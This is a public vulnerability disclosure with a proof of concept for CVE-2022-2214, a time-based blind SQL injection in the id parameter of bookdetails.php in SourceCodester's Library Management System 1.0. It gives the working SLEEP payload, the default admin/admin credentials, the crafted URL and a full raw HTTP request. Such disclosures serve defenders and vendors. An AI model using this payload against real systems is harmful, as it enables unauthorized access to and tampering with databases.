Headline
CVE-2022-2214: CVE/POC.md at main · CyberThoth/CVE
A vulnerability was found in SourceCodester Library Management System 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /librarian/bookdetails.php. The manipulation of the argument id with the input ' AND (SELECT 9198 FROM (SELECT(SLEEP(5)))iqZA)-- PbtB leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.
Title: Library Management System with QR code Attendance 1.0 SQL Injection****Author: Ashish Kumar (https://www.linkedin.com/in/ashish-kumar-0b65a3184)****Date: 27.06.2022****Vendor: https://www.sourcecodester.com/users/kingbhob02****Software: https://www.sourcecodester.com/php/15434/library-management-system-qr-code-attendance-and-auto-generate-library-card.html****Version: 1.0****Reference: https://github.com/CyberThoth/CVE/blob/main/CVE/Library%20Management%20System%20with%20QR%20code%20Attendance/Sql%20Injection/POC.md****Description：****The reason for the SQL injection vulnerability is that the website application does not verify the validity of the data submitted by the user to the server (type, length, business parameter validity, etc.), and does not effectively filter the data input by the user with special characters , so that the user’s input is directly brought into the database for execution, which exceeds the expected result of the original design of the SQL statement, resulting in a SQL injection vulnerability.Library Management System with QR code Attendance does not filter the content correctly at the “bookdetails” id parameter, resulting in the generation of SQL injection.****Payload used:
' AND (SELECT 9198 FROM (SELECT(SLEEP(5)))iqZA)-- PbtB
POC
- Login into the CMS. Admin Default Access:
Username: admin
Password: admin
http://localhost/LMS/librarian/bookdetails.php?id=191
Put sleep(5) payload (' AND (SELECT 9198 FROM (SELECT(SLEEP(5)))iqZA)-- PbtB)
http://localhost:80/LMS/librarian/bookdetails.php?id=’ AND (SELECT 9198 FROM (SELECT(SLEEP(5)))iqZA)-- PbtB
code
GET /LMS/librarian/bookdetails.php?id=%27%20AND%20(SELECT%209198%20FROM%20(SELECT(SLEEP(5)))iqZA)--%20PbtB HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=0r78mi76ub6k55p8mkce7f4pco
Connection: close
line 111 of bookdetails.php invokes a SQL query built with input that comes from an untrusted source. This call could allow an attacker to modify the statement’s meaning or to execute arbitrary SQL commands